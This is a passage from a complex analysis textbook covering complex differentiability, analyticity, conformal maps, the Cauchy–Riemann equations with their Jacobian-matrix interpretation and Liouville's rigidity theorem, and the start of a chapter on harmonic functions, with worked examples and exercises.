(with f(0) = 0) is continuous at 0 but that z2

|z|2
is not.

Exercise 12.6. Suppose f is continuous on a region D and f(z) ̸= 0 for all z ∈ D. Prove that
1/f is continuous on D, and that |f | has a positive lower bound on every compact subset of D.

Exercise 12.7. Show that lim
z→0

Re(z) Im(z)
|z|2

does not exist, but that lim
z→0

Re(z) Im(z)
|z|

= 0. In

each case give either the two paths or the explicit δ(ε).

Exercise 12.8. Let f(z) = az + b

cz + d
with ad − bc ̸= 0 and c ̸= 0. Compute limz→−d/c f(z) and

limz→∞ f(z) in the sense of Definition 12.9, and check the answers against (34.3).

Exercise 12.9. (⋆) Prove that if f is continuous on C and limz→∞ f(z) = L exists in C, then f
is uniformly continuous on C and f(C) ∪ {L} is compact. (Extend f to the Riemann sphere of
Theorem 11.7 and use Exercise 12.4.)



Chapter 13

Differentiability and Analyticity

13.1 The complex derivative
Definition 13.1 (Derivative). Let f be defined on a set containing a neighbourhood D(z0, ε) of
the point z0 ∈ C. We say f is differentiable at z0 if the limit

f ′(z0) := lim
∆z→0

f(z0 + ∆z) − f(z0)
∆z (13.1)

exists in C, in the sense of Definition 12.1 applied to the difference quotient as a function of the
complex variable ∆z on the punctured disc D′(0, ε). The number f ′(z0) is the derivative of f at
z0. Equivalently, writing z = z0 + ∆z,

f ′(z0) = lim
z→z0

f(z) − f(z0)
z − z0

. (13.2)

The formula is identical to the real one, but the requirement is far stronger: the quotient must
tend to one and the same complex number f ′(z0) no matter how ∆z → 0 in the plane. Chapter
14 extracts the exact consequence of that requirement.

Proposition 13.2 (Differentiable ⇒ continuous). If f is differentiable at z0 then f is continuous
at z0.

Proof. For z ̸= z0 write f(z) − f(z0) = f(z) − f(z0)
z − z0

· (z − z0). By (12.5) the right side tends to
f ′(z0) · 0 = 0, so limz→z0 f(z) = f(z0), which is (12.11).

Theorem 13.3 (Differentiation rules). Let f, g be differentiable at z0 and c ∈ C. Then cf , f + g,
fg are differentiable at z0, as is f/g if g(z0) ̸= 0, and

(cf)′(z0) = c f ′(z0), (f + g)′(z0) = f ′(z0) + g′(z0), (13.3)
(fg)′(z0) = f ′(z0)g(z0) + f(z0)g′(z0), (13.4)(f
g

)′
(z0) = f ′(z0)g(z0) − f(z0)g′(z0)

g(z0)2 . (13.5)

If moreover g is differentiable at z0 and f is differentiable at g(z0), then f ◦ g is differentiable at
z0 with

(f ◦ g)′(z0) = f ′(g(z0)
)
g′(z0). (13.6)
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Finally, for every n ∈ Z,
d

dz
zn = nzn−1 (z ̸= 0 if n < 0). (13.7)

Proof. All proofs are the real ones verbatim, since they use only the field axioms of C (Theo-
rem 1.2) and the algebra of limits (Theorem 12.4). We give two.

Product rule. For z ̸= z0,

f(z)g(z) − f(z0)g(z0)
z − z0

= f(z) − f(z0)
z − z0

g(z) + f(z0) g(z) − g(z0)
z − z0

.

Let z → z0; by Proposition 13.2 g(z) → g(z0), and (12.4), (12.5) give (13.4).
Chain rule. Define h : C → C near w0 := g(z0) by

h(w) :=


f(w) − f(w0)

w − w0
, w ̸= w0,

f ′(w0), w = w0.

Then h is continuous at w0 by (13.2), and f(w) − f(w0) = h(w)(w −w0) holds for all w near w0
including w = w0. Substituting w = g(z) and dividing by z − z0,

f(g(z)) − f(g(z0))
z − z0

= h
(
g(z)

)
· g(z) − g(z0)

z − z0
.

As z → z0, g(z) → g(z0) = w0 (Proposition 13.2), so h(g(z)) → h(w0) = f ′(w0) by Theo-
rem 12.12(iii), and the second factor tends to g′(z0). This is (13.6).

Power rule. For n ≥ 1 use induction with (13.4) starting from d
dz z = 1 (the difference quotient

is identically 1). For n = 0 the function is constant with derivative 0. For n < 0 write zn = 1/z−n

and apply (13.5).

Example 13.4 (A nowhere differentiable function). Let f(z) = z. For any z0 and ∆z ̸= 0,

f(z0 + ∆z) − f(z0)
∆z = z0 + ∆z − z0

∆z = ∆z
∆z .

By Example 12.7 this quotient has no limit as ∆z → 0: it equals 1 along the real direction and
−1 along the imaginary direction. Hence z is differentiable at no point of C, even though its
components u = x, v = −y are as smooth as one could wish. This single example already shows
that complex differentiability is not a coordinatewise notion.

Example 13.5 (Differentiable at one point only). Let f(z) = |z|2 = zz. Then for z0 ∈ C,

f(z0 + ∆z) − f(z0)
∆z = (z0 + ∆z)(z0 + ∆z) − z0z0

∆z = z0 + ∆z + z0
∆z
∆z .

As ∆z → 0 the first two terms tend to z0. The third has a limit only if z0 = 0 (again Example 12.7).
Hence f is differentiable exactly at z0 = 0, with f ′(0) = 0.
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13.2 Analyticity
Example 13.5 shows that differentiability at a point is a weak condition. The useful notion
demands differentiability throughout a neighbourhood.

Definition 13.6 (Analytic, entire, singular point). Let D ⊆ C be open and f : D → C.

• f is analytic at z0 (synonyms: holomorphic, regular) if there exists ε > 0 with D(z0, ε) ⊆ D
such that f is differentiable at every point of D(z0, ε).

• f is analytic on D if it is analytic at every point of D; equivalently (since D is open) if f is
differentiable at every point of D.

• f is entire if it is analytic on all of C.

• A point z1 is a singular point (or singularity) of f if f is not analytic at z1 but every
neighbourhood of z1 contains a point at which f is analytic.

Example 13.7. (a) Every polynomial is entire, by Theorem 13.3.

(b) A rational function p/q (with p, q polynomials, q ̸≡ 0, and p/q in lowest terms) is analytic on
C minus the zero set of q, and each zero of q is a singular point. (If p and q had a common
zero, p/q as written would be undefined there, so that point would also be a singular point
in the sense above; such removable singularities are studied in Chapter 26.) For instance
f(z) = z

(z − i)(z + 2) is analytic on C \ {i,−2} with singular points i and −2.

(c) f(z) = |z|2 of Example 13.5 is differentiable at 0 but analytic nowhere: no neighbourhood
of 0 consists of points of differentiability. This is exactly the distinction Definition 13.6 is
designed to make.

(d) f(z) = z is nowhere differentiable, hence nowhere analytic, and has no singular points in the
sense above.

Remark 13.8 (The word “analytic”). In real analysis “analytic” means “locally equal to the sum
of its Taylor series”. One of the central theorems of the second part of this course states that
for complex functions the two meanings coincide: differentiability on a disc implies infinite differ-
entiability and convergence of the Taylor series there. Nothing remotely like this is true over R
(consider e−1/x2). We use “analytic” in the sense of Definition 13.6 throughout Part I.

13.3 Conformality
Definition 13.9 (Angle between curves). Let γ1, γ2 be smooth curves through z0 with nonzero
tangent vectors d1, d2 ∈ C \ {0} at z0. The signed angle from γ1 to γ2 at z0 is any element of
arg(d2/d1); it is well defined modulo 2π.

Theorem 13.10 (Analytic maps are conformal where f ′ ̸= 0). Let f be analytic on a neighbour-
hood of z0 and suppose f ′(z0) ̸= 0. Then for any two smooth curves through z0 with tangents
d1, d2 ̸= 0, the image curves have tangents f ′(z0)d1 and f ′(z0)d2 at f(z0); consequently the signed
angle between the curves is unchanged, and lengths near z0 are scaled by the factor |f ′(z0)|.
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Proof. Let γ : (−1, 1) → C be smooth with γ(0) = z0 and γ′(0) = d ̸= 0, where γ′ is the derivative
of Definition 6.6. The image curve is f ◦γ and, by the chain rule (13.6) adapted to a real parameter
(same proof, with ∆t real),

(f ◦ γ)′(0) = f ′(γ(0))γ′(0) = f ′(z0) d ̸= 0.

Hence the image tangents are f ′(z0)d1 and f ′(z0)d2, and
f ′(z0)d2
f ′(z0)d1

= d2
d1
,

so by Definition 13.9 the signed angle is preserved. The scaling statement follows from |f(z) − f(z0)| =
|f ′(z0)| |z − z0| + o(|z − z0|), which is (13.2) multiplied out.

Theorem 13.10 explains, in one stroke, the orthogonality observed in Proposition 9.3: the
Cartesian grid is orthogonal, p2 is analytic with p′

2(z) = 2z ̸= 0 off the origin, so the image grid
of parabolas is orthogonal too. It also explains why the origin was exceptional: p′

2(0) = 0, and
there angles double, in accordance with Remark 9.4.

φ

z-plane

f
φ

w-plane: same φ

Figure 13.1. Conformality, Theorem 13.10. Two curves meeting at z0 with tangents d1, d2 are carried
to curves meeting at f(z0) with tangents f ′(z0)d1 and f ′(z0)d2. Both tangents are turned through
the same angle arg f ′(z0) and stretched by the same factor |f ′(z0)|, so the angle φ between them is
unchanged — in magnitude and in sign.
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C tiles (Figure 13.2, continued)

Proposition 13.11 (Behaviour at a critical point). Suppose f is analytic near z0, f ′(z0) = 0,
and f is not constant. If k ≥ 2 is the least integer with f (k)(z0) ̸= 0 (such k exists by the theory
of Part II), then f multiplies angles at z0 by the factor k. For f = pn and z0 = 0 we have k = n,
recovering Theorem 9.1(ii).

Proof sketch. Near z0 one has f(z)−f(z0) = c(z−z0)k(1+o(1)) with c = f (k)(z0)/k! ̸= 0; a curve
leaving z0 in the direction eiφ therefore leaves f(z0) in the direction arg c+kφ, so the difference of
two such directions is multiplied by k. The existence of k and the local expansion require Taylor’s
theorem for analytic functions, proved in Part II.

13.4 Exercises

Exercise 13.1. Differentiate, stating where the result is valid: f(z) = (z2 +3iz)5, g(z) = z − 1
z2 + 1,

h(z) =
(2z + i

z − 3
)4.

Exercise 13.2. Using Definition 13.1 directly, determine all points at which f(z) = z Re z is
differentiable, and compute f ′ there. (Answer: only z = 0.)

Exercise 13.3. Show that f(z) = Re z is nowhere differentiable, and that f(z) = Im z is nowhere
differentiable, although f = Re z + i Im z = z is entire.

Exercise 13.4. Let f be analytic on a region D and suppose f(D) ⊆ R. Anticipating Theo-
rem 14.13, guess what must be true of f and test your guess on D = C, f(z) = Re z — why is
this not a counterexample?

Exercise 13.5. (⋆) Prove that if f is differentiable at z0 then

f(z) = f(z0) + f ′(z0)(z − z0) + η(z)(z − z0), lim
z→z0

η(z) = 0,

and conversely. This “little-o” form is the cleanest statement of differentiability and is what makes
Theorem 13.10 work.
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Exercise 13.6. Find the points where f(z) = z3 − 3z fails to be conformal, and compute the
angle multiplication factor there.

Exercise 13.7. Determine all points at which f(z) = z2z is differentiable, and compute f ′ there.
Is f analytic anywhere? (Write f = |z|2 z and use Example 13.5.)

Exercise 13.8. (After Chapter 14.) Let f be analytic at z0 with f ′(z0) = 2 + 2i. By what factor
are short segments through z0 stretched, and through what angle are they turned? By what factor
are small areas near z0 magnified? (Use (14.11).)

Exercise 13.9. (⋆) Suppose f and g are analytic on a region D and fg ≡ 0 there. Prove that
f ≡ 0 or g ≡ 0. (Zeros of a nonzero analytic function are isolated, Theorem 24.7; so the ring
of analytic functions on a region has no zero divisors.) Show by example that this fails on a
disconnected open set.



Chapter 14

The Cauchy–Riemann Equations

Complex differentiability at z0 requires the difference quotient (13.1) to have the same limit along
every approach. Comparing just two approaches — horizontal and vertical — already produces
a pair of partial differential equations. Remarkably, those equations plus mild regularity are also
sufficient.

14.1 Necessity
Theorem 14.1 (Cauchy–Riemann equations: necessity). Let f = u + iv be differentiable at
z0 = x0 + iy0. Then the four first-order partial derivatives ux, uy, vx, vy exist at (x0, y0) and
satisfy the Cauchy–Riemann equations

ux(x0, y0) = vy(x0, y0), uy(x0, y0) = −vx(x0, y0). (14.1)

Moreover the derivative is given by either of

f ′(z0) = ux(x0, y0) + i vx(x0, y0) = vy(x0, y0) − i uy(x0, y0). (14.2)

Proof. By hypothesis the limit (13.1) exists; call it f ′(z0). Since the limit is the same along every
path, we compute it along two.

Horizontal approach. Take ∆z = h with h ∈ R, h → 0. Then z0 + ∆z = (x0 + h) + iy0 and

f ′(z0) = lim
h→0

u(x0 + h, y0) + iv(x0 + h, y0) − u(x0, y0) − iv(x0, y0)
h

= lim
h→0

u(x0 + h, y0) − u(x0, y0)
h

+ i lim
h→0

v(x0 + h, y0) − v(x0, y0)
h

,

where splitting the limit is justified by Theorem 12.3: since the complex limit exists, so do
the limits of the real and imaginary parts. The two real limits are by definition ux(x0, y0) and
vx(x0, y0); hence these partials exist and

f ′(z0) = ux + ivx at (x0, y0). (14.3)

Vertical approach. Take ∆z = ik with k ∈ R, k → 0. Then z0 + ∆z = x0 + i(y0 + k) and,
using 1/i = −i,

f ′(z0) = lim
k→0

u(x0, y0 + k) + iv(x0, y0 + k) − u(x0, y0) − iv(x0, y0)
ik

90
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= −i lim
k→0

u(x0, y0 + k) − u(x0, y0)
k

+ lim
k→0

v(x0, y0 + k) − v(x0, y0)
k

,

so uy and vy exist at (x0, y0) and

f ′(z0) = vy − iuy at (x0, y0). (14.4)

Equating real and imaginary parts of (14.3) and (14.4), which is legitimate by (1.5), gives exactly
(14.1), and (14.2) is (14.3) together with (14.4).

Corollary 14.2 (A fast non-differentiability test). If (14.1) fails at (x0, y0), then f is not dif-
ferentiable at z0, hence not analytic at z0. If (14.1) fails at every point of an open set, then f is
analytic at no point of that set.

Example 14.3. For f(z) = z we have u = x, v = −y, so ux = 1 and vy = −1. The first equation
of (14.1) fails at every point, so z is nowhere differentiable — the conclusion of Example 13.4,
now obtained without computing a single limit.

Example 14.4. For f(z) = |z|2 we have u = x2 + y2, v = 0, so ux = 2x, uy = 2y, vx = vy = 0.
The equations (14.1) read 2x = 0 and 2y = 0, satisfied only at the origin. Consistent with
Example 13.5: differentiable at 0 only, analytic nowhere.

Warning 14.5. The Cauchy–Riemann equations alone do not imply differentiability. Define

f(z) :=


z2

z
, z ̸= 0,

0, z = 0.
(14.5)

Writing z = x+ iy one computes u = x3−3xy2

x2+y2 , v = y3−3x2y
x2+y2 for z ̸= 0. At the origin,

ux(0, 0) = lim
h→0

u(h, 0) − 0
h

= lim
h→0

h3/h2

h
= 1, vy(0, 0) = lim

k→0

k3/k2

k
= 1,

and similarly uy(0, 0) = vx(0, 0) = 0; so (14.1) holds at 0. Yet along the ray z = teiθ, t ↓ 0,

f(z) − f(0)
z

= z2

z2 = e−4iθ,

which depends on θ; so f is not differentiable at 0. The missing hypothesis is continuity of the
partials, supplied next.

14.2 Sufficiency
Theorem 14.6 (Cauchy–Riemann equations: sufficiency). Let D be a region and f = u + iv
defined on D. Suppose that on D the four partials ux, uy, vx, vy exist, are continuous, and satisfy
(14.1) at every point of D. Then f is analytic on D, and f ′ = ux + ivx there.

Proof. Fix z0 = x0 + iy0 ∈ D and choose r > 0 with D(z0, r) ⊆ D. Let ∆z = h+ ik with h, k ∈ R
and 0 < |∆z| < r. Write

∆u := u(x0 + h, y0 + k) − u(x0, y0),
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∆v := v(x0 + h, y0 + k) − v(x0, y0).

Because u has continuous first partials on the disc, it is (real-)differentiable there, and the incre-
ment can be written

∆u = ux(x0, y0)h+ uy(x0, y0) k + ε1(h, k)h+ ε2(h, k) k, (14.6)

where ε1, ε2 → 0 as (h, k) → (0, 0). (This is the standard increment theorem of multivariable
calculus: apply the mean value theorem in each variable separately,

∆u =
[
u(x0 + h, y0 + k) − u(x0, y0 + k)

]
+
[
u(x0, y0 + k) − u(x0, y0)

]
= ux(ξ, y0 + k)h+ uy(x0, η)k

for some ξ between x0, x0 +h and η between y0, y0 + k, and use continuity of the partials to write
ux(ξ, y0 + k) = ux(x0, y0) + ε1, uy(x0, η) = uy(x0, y0) + ε2 with εj → 0.) Similarly

∆v = vxh+ vyk + ε3h+ ε4k, ε3, ε4 → 0, (14.7)

all partials evaluated at (x0, y0).
Now use (14.1) to eliminate uy and vy: uy = −vx and vy = ux. Then

∆u+ i∆v =
(
uxh− vxk

)
+ i
(
vxh+ uxk

)
+ E

= ux(h+ ik) + ivx(h+ ik) + E =
(
ux + ivx

)
∆z + E,

where the error term is E := (ε1 + iε3)h+ (ε2 + iε4)k. Since |h| ≤ |∆z| and |k| ≤ |∆z| by (1.26),∣∣∣ E∆z
∣∣∣ ≤ |ε1 + iε3| + |ε2 + iε4| −−−−−→

∆z→0
0.

Therefore

lim
∆z→0

f(z0 + ∆z) − f(z0)
∆z = lim

∆z→0

[
(ux + ivx) + E

∆z
]

= ux(x0, y0) + ivx(x0, y0),

so f is differentiable at z0 with the stated derivative. As z0 ∈ D was arbitrary and D is open, f
is analytic on D.

Example 14.7. Let f(z) = x2 − y2 + 2ixy. Then u = x2 − y2, v = 2xy, and

ux = 2x, vy = 2x, uy = −2y, vx = 2y.

Both equations of (14.1) hold everywhere, and all four partials are continuous on C; by Theo-
rem 14.6, f is entire with f ′ = ux + ivx = 2x + 2iy = 2z. Of course f(z) = z2, so this merely
confirms (13.7); the point is that the test is mechanical.

Example 14.8 (Where is it analytic?). Let f(z) = x3 + 3xy2 + i(y3 + 3x2y). Then

ux = 3x2 + 3y2, vy = 3y2 + 3x2, uy = 6xy, vx = 6xy.

The first CR equation holds everywhere. The second requires uy = −vx, i.e. 6xy = −6xy, i.e.
xy = 0: the union of the two coordinate axes. That set has empty interior, so although f is
differentiable at every point of the axes, it is analytic nowhere. (Differentiability on the axes does
not follow from Theorem 14.6, which needs (14.1) on an open set; it follows from Theorem 14.10
below, (ii)⇒(i), since the partials of u and v are continuous, so that f̃ is real-differentiable by the
increment argument in the proof of Theorem 14.6.) This is another instance of the distinction in
Definition 13.6.
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14.3 The Cauchy–Riemann equations as a differential inclusion
We now restate everything above in the language of Section 1.5. The gain is not merely cosmetic:
the reformulation is what makes it possible to say precisely why the theory stops in dimension
two.

Definition 14.9 (The real map underlying f). Let Ω ⊆ C be open and f = u + iv : Ω → C.
Identifying C with R2 by x+ iy ↔ (x, y)T as in Definition 2.1, write

f̃ : Ω ⊆ R2 −→ R2, f̃(x, y) :=
(
u(x, y), v(x, y)

)
. (14.8)

When u and v are (real-)differentiable at p = (x0, y0), the differential of f̃ at p is the linear map
R2 → R2 whose matrix — the Jacobian matrix — is

Df̃(p) =
(
ux(p) uy(p)
vx(p) vy(p)

)
∈ R2×2. (14.9)

(Real differentiability at p means f̃(p+ h) = f̃(p) +Df̃(p)h + o(|h|); see Appendix A.)

Theorem 14.10 (Cauchy–Riemann is the inclusion Df̃ ∈ CO+(2)). Let Ω ⊆ C be open, let
f = u+ iv on Ω, let z0 = x0 + iy0 ∈ Ω and suppose f̃ is real-differentiable at p = (x0, y0). Then
the following are equivalent:

(i) f is complex-differentiable at z0 in the sense of Definition 13.1;

(ii) the Cauchy–Riemann equations (14.1) hold at p;

(iii) Df̃(p) ∈ C, the space (1.33);

(iv) Df̃(p) satisfies the differential inclusion

Df̃(p) ∈ CO+(2) = CO+(2) ∪ {0}, (14.10)

that is, Df̃(p) is either 0 or an orientation-preserving similarity of R2.

When these hold,

Φ
(
f ′(z0)

)
= Df̃(p), and consequently detDf̃(p) =

∣∣f ′(z0)
∣∣2 . (14.11)

Hence: f is analytic on Ω if and only if f̃ is differentiable on Ω and satisfies the pointwise inclusion
(14.10) everywhere on Ω.

Proof. (ii)⇔(iii). By (14.9), the matrix Df̃(p) lies in C of (1.33) — i.e. has the shape
(
a −b
b a

)
—

exactly when its diagonal entries agree and its off-diagonal entries are negatives:

ux = vy and uy = −vx,

which is (14.1) verbatim.
(iii)⇔(iv) is (1.36) of Theorem 1.19.
(i)⇒(ii) is Theorem 14.1.
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(ii)⇒(i). This is where real differentiability is used, and it is exactly the hypothesis that
replaces the continuity of the partials in Theorem 14.6. Write A := Df̃(p) and let h ↔ ∆z under
the identification. Real differentiability says

f̃(p+ h) − f̃(p) = Ah + o(|h|).

By (iii), A = Φ(c) for some c ∈ C, and by Theorem 1.19 (iv) the map h 7→ Ah is ∆z 7→ c∆z.
Translating back to complex notation,

f(z0 + ∆z) − f(z0) = c∆z + o(|∆z|),

so the difference quotient f(z0+∆z)−f(z0)
∆z = c+ o(|∆z|)

∆z → c, and f ′(z0) = c exists.
Finally Φ(f ′(z0)) = Φ(c) = A = Df̃(p), and taking determinants in (1.38) gives detDf̃(p) =

|f ′(z0)|2.
For the last sentence of the theorem we also need that complex differentiability implies real

differentiability, which (i)–(iv) take as a hypothesis. If f is complex-differentiable at z0, then
f(z0 + ∆z) − f(z0) = f ′(z0)∆z + o(|∆z|) (Exercise 13.5), and by Theorem 1.19 (iv) the map
∆z 7→ f ′(z0)∆z is h 7→ Φ(f ′(z0))h; so f̃(p + h) − f̃(p) = Φ(f ′(z0))h + o(|h|), i.e. f̃ is real-
differentiable at p. Hence, if f is analytic on Ω, then f̃ is differentiable on Ω and (i)⇒(iv) gives
the inclusion at every point; conversely, if f̃ is differentiable on Ω and satisfies the inclusion
everywhere, (iv)⇒(i) gives complex differentiability at every point of the open set Ω.

Remark 14.11 (Reading the inclusion). Three consequences are worth naming.

(a) Conformality is now a tautology. Away from the zeros of f ′ the inclusion (14.10) says Df̃(p)
is a positive multiple of a rotation, and a similarity preserves angles: that is Theorem 13.10,
with no computation.

(b) The Jacobian determinant is never negative. By (14.11), detDf̃ = |f ′|2 ≥ 0, so an analytic
map never reverses orientation. Contrast z, whose Jacobian is

( 1 0
0 −1

)
with determinant −1

— conformal but orientation-reversing, hence not in CO+(2), hence nowhere differentiable
(Example 14.3).

(c) It is a genuine constraint, not a normalisation. The set CO+(2) is a two-dimensional subspace
of the four-dimensional space R2×2. Requiring Df̃(p) to lie in it at every point is two scalar
PDEs on two unknown functions — an elliptic, determined system. That balance is why
solutions exist in abundance yet are rigid.

tangent directions at p

Df̃(p)

general Df̃ :
ellipse, angles bent

Df̃ ∈ CO+(2):
circle, angles kept

Figure 14.1. The inclusion, drawn on the unit circle of tangent directions. Left: a general Jacobian
sends the circle to an ellipse — angles are distorted. Right: a Jacobian in CO+(2) sends it to a circle,
so every angle survives and only the scale changes. The Cauchy–Riemann equations say precisely
that the right-hand picture holds at every point.
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Remark 14.12 (Liouville’s rigidity theorem: why there is no complex analysis in Rn for n ≥ 3).
Definition 1.17 makes sense in every dimension. For n ≥ 1 set

CO+(n) :=
{
λR : λ > 0, R ∈ SO(n)

}
⊆ Rn×n, (14.12)

the orientation-preserving similarities of Rn; equivalently M ∈ CO+(n) iff MTM = λ2I for some
λ > 0 and detM > 0, the proof of Lemma 1.18 (iii)⇔(iv) being dimension-free. One may therefore
pose, on a region Ω ⊆ Rn, the same differential inclusion as (14.10):

g : Ω → Rn, Dg(x) ∈ CO+(n) for all x ∈ Ω. (14.13)

For n = 2, Theorem 14.10 says the solutions of (14.13) are exactly the analytic functions with
nowhere-vanishing derivative — an infinite-dimensional family, as rich as the subject we are
studying. For n ≥ 3 the situation collapses completely.

Theorem (Liouville, 1850). Let n ≥ 3, let Ω ⊆ Rn be a region, and let g : Ω → Rn be a
non-constant solution of (14.13). Then g is the restriction to Ω of a Möbius transformation of
R̂n = Rn ∪ {∞}: that is, g is a composition of translations x 7→ x+ b, positive dilations x 7→ λx,
rotations x 7→ Rx with R ∈ SO(n), and at most one reflected inversion

x 7−→ ρ(x)
|x|2

, (14.14)

with ρ the reflection in a hyperplane through 0. (The inversion x 7→ x/ |x|2 alone reverses orien-
tation: its differential |x|−2 (I − 2x̂x̂T), x̂ = x/ |x|, has negative determinant; composing with ρ
restores it. Equivalently, g is an orientation-preserving Möbius transformation.)

Liouville proved this for g of class C3; the hypothesis was weakened to C1 by Hartman, and
then to the Sobolev class W 1,n

loc by Gehring and Rešetnyak (the natural class for quasiconformal
maps). Iwaniec and Martin later lowered this to W 1,n/2

loc in even dimensions, and showed that it
fails below n/2; in odd dimensions the optimal exponent is, as far as we know, still open. The
conclusion is the same in every case.

The contrast is stark, and it is the reason this course exists in the form it does.

• In dimension 2, the conformal maps form an infinite-dimensional family: for every analytic
f with f ′ ̸= 0 we get one, and Chapter 33 exploits exactly this abundance — the Riemann
mapping theorem 33.10 says the family is large enough to carry any simply connected proper
subregion onto the disc.

• In dimension n ≥ 3, the conformal maps form a Lie group of finite dimension 1
2(n+1)(n+2).

There is no Riemann mapping theorem, no residue calculus, no Taylor theory — because there
are, essentially, no maps. The Möbius transformations of Chapter 34 are all that survives,
and they survive in every dimension.

So “complex analysis in several variables” is not the study of conformal maps of R2n; it is a
different subject, built on the Cauchy–Riemann system applied one variable at a time. The two-
dimensional theory is genuinely exceptional, and (14.10) is the cleanest statement of what makes
it so.
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14.4 Consequences: rigidity
Theorem 14.13 (Vanishing derivative on a region). Let D be a region and f analytic on D.

(i) If f ′(z) = 0 for all z ∈ D, then f is constant on D.

(ii) If |f | is constant on D, then f is constant on D.

(iii) If f(D) ⊆ R, then f is constant on D. More generally if f(D) is contained in a line or a
circle, f is constant.

Proof. (i) By (14.2), f ′ = ux + ivx = vy − iuy = 0 forces ux = uy = vx = vy = 0 throughout
D. Fix a, b ∈ D and take a polygonal path in D from a to b (Definition 5.8). On each segment
t 7→ z(t) = (1−t)p+tq, the real function t 7→ u(z(t)) has derivative ux Re(q−p)+uy Im(q−p) = 0,
so u is constant on the segment by the mean value theorem; the same for v. Chaining the segments,
f(a) = f(b).

(ii) Say |f | ≡ c ≥ 0. If c = 0 then f ≡ 0 by (1.22). Assume c > 0. From u2 + v2 = c2,
differentiate in x and in y:

uux + vvx = 0, uuy + vvy = 0. (14.15)

Substituting (14.1) (uy = −vx, vy = ux) into the second equation gives −uvx+vux = 0. Together
with the first equation of (14.15) we get the linear system(

u v
v −u

)(
ux
vx

)
=
(

0
0

)
,

whose coefficient matrix has determinant −(u2 + v2) = −c2 ̸= 0. Hence ux = vx = 0 on D, so
f ′ = 0 by (14.2) and (i) applies.

(iii) If f(D) ⊆ R then v ≡ 0, so vx = vy = 0, and (14.1) forces ux = vy = 0 and uy = −vx = 0;
apply (i). For a general line {w : Re(αw) = c} with α ̸= 0 (Exercise 7.8), the function g := αf
is analytic with Re g ≡ c; then gx-computations as above (or applying the case just proved to
i(g − c)) give g constant, hence f constant. If f(D) lies on a circle then |f − centre| is constant
and (ii) applies.

Theorem 14.13 has no analogue for smooth maps R2 → R2. The map g(x, y) = (cos(x +
y), sin(x+y)) is real-analytic, non-constant, has constant norm, and takes values on a circle — so
the hypotheses of (ii) and of (iii) can both be met by a non-constant smooth planar map. What
is special is that the Cauchy–Riemann equations couple u and v so tightly that a single scalar
constraint destroys all freedom. This rigidity is the recurring theme of the entire subject.

14.5 Exercises

Exercise 14.1. Verify the Cauchy–Riemann equations and find f ′: f(z) = z3; f(z) = 1
z

(z ̸= 0);
f(z) = ex cos y + iex sin y.

Exercise 14.2. Determine where each function is differentiable and where it is analytic:

f(z) = 2x2 + y + i(y2 − x), g(z) = x2 + y2 − 2ixy, h(z) = z z2.
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Exercise 14.3. (⋆) (Wirtinger form.) Define ∂z := 1
2(∂x + i∂y). Show that (14.1) is equivalent

to the single equation ∂zf = 0, and that then f ′ = ∂zf := 1
2(∂x − i∂y)f . Use it to re-derive

Examples 14.3 and 14.4 in one line each.

Exercise 14.4. Suppose f and f are both analytic on a region D. Prove f is constant.

Exercise 14.5. Suppose f is analytic on a region D and Re f is constant. Prove f is constant,
directly from (14.1).

Exercise 14.6. For each map below, write the Jacobian matrix Df̃ of (14.9) at a general point
and decide, using Theorem 14.10 (iv), at which points it lies in CO+(2):

f(z) = z2, f(z) = z, f(z) = |z|2 , f(z) = Re z.

In each case compute detDf̃ and compare with |f ′|2 where the latter exists.

Exercise 14.7. Let f be analytic on a region D with f ′ never zero, and let E ⊆ D be a region
of finite area. Using (14.11) and the change-of-variables formula (Appendix A), show

area
(
f(E)

)
=
∫∫

E

∣∣f ′(x+ iy)
∣∣2 dx dy.

Evaluate it for f(z) = z2 on the quarter-disc {|z| < 1, 0 < Arg z < π/2} and check your answer
against Theorem 9.1.

Exercise 14.8. (⋆) (The inclusion is not preserved by averaging.) Exhibit two matrices A,B ∈
CO+(2) with 1

2(A+B) /∈ CO+(2) — or prove no such pair exists. Then do the same for CO+(3)
in place of CO+(2), and explain how your answers relate to Remark 14.12. (Hint: CO+(2) = C
is a linear subspace by (1.33). For n = 3, try A = I and B a rotation by π about an axis.)



Chapter 15

Harmonic Functions

15.1 Laplace’s equation
Definition 15.1 (Harmonic function). Let D ⊆ R2 be a region (equivalently, a region in C via
Definition 2.1). A function ϕ : D → R is harmonic on D if ϕ has continuous second-order partial
derivatives on D and satisfies Laplace’s equation

∇2ϕ := ∂2ϕ

∂x2 + ∂2ϕ

∂y2 = 0 at every point of D. (15.1)

Theorem 15.2 (Components of an analytic function are harmonic). Let f = u + iv be analytic
on a region D. Then u and v are harmonic on D.

Proof. We use the following fact, proved in Chapter 21 (Corollary 21.5): an analytic function has
derivatives of all orders, and consequently u and v have continuous partial derivatives of all orders
on D. (This is genuinely a theorem, not a convention; there is no elementary proof, and it is one
of the most striking differences between real and complex analysis.)

Granting that, differentiate the first Cauchy–Riemann equation (14.1) with respect to x and
the second with respect to y:

uxx = vyx, uyy = −vxy.

Since the second partials are continuous, Clairaut’s theorem gives vyx = vxy, so

uxx + uyy = vyx − vxy = 0.

Similarly, differentiating the first CR equation with respect to y and the second with respect to
x,

uxy = vyy, uyx = −vxx =⇒ vxx + vyy = −uyx + uxy = 0.

Example 15.3. Since z2 = (x2 − y2) + i(2xy) is entire, both x2 − y2 and 2xy are harmonic on
R2; check: ∇2(x2 − y2) = 2 − 2 = 0 and ∇2(2xy) = 0 + 0 = 0. Since 1/z = x

x2+y2 − i y
x2+y2 is

analytic on C \ {0}, the function x
x2+y2 is harmonic there. And ln |z| = 1

2 ln(x2 + y2) is harmonic
on C \ {0}, being the real part of the principal logarithm (Chapter 16); direct check:

∂x
1
2 ln(x2 + y2) = x

x2 + y2 , ∂xx = y2 − x2

(x2 + y2)2 ,

and by symmetry ∂yy = x2−y2

(x2+y2)2 ; the sum is 0.

98
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15.2 Harmonic conjugates
Definition 15.4 (Harmonic conjugate). Let u be harmonic on a region D. A function v harmonic
on D is called a harmonic conjugate of u on D if u and v satisfy the Cauchy–Riemann equations
(14.1) throughout D, i.e. if f = u+ iv is analytic on D.

Warning 15.5. The relation is not symmetric: if v is a harmonic conjugate of u then −u is a
harmonic conjugate of v, not u. (Because −if = −iu + v = v + i(−u) is analytic.) The order
matters.

Theorem 15.6 (Existence of a harmonic conjugate). Let u be harmonic on a disc D = D(z0, ρ),
or on D = C. Then u has a harmonic conjugate v on D, unique up to an additive real con-
stant. The same holds on any simply connected region; that case is proved in Chapter 20 (Corol-
lary 20.13) and is not used before then.

Proof. Without loss of generality z0 = 0 (for D = C take z0 = 0); write points of D as (x, y).
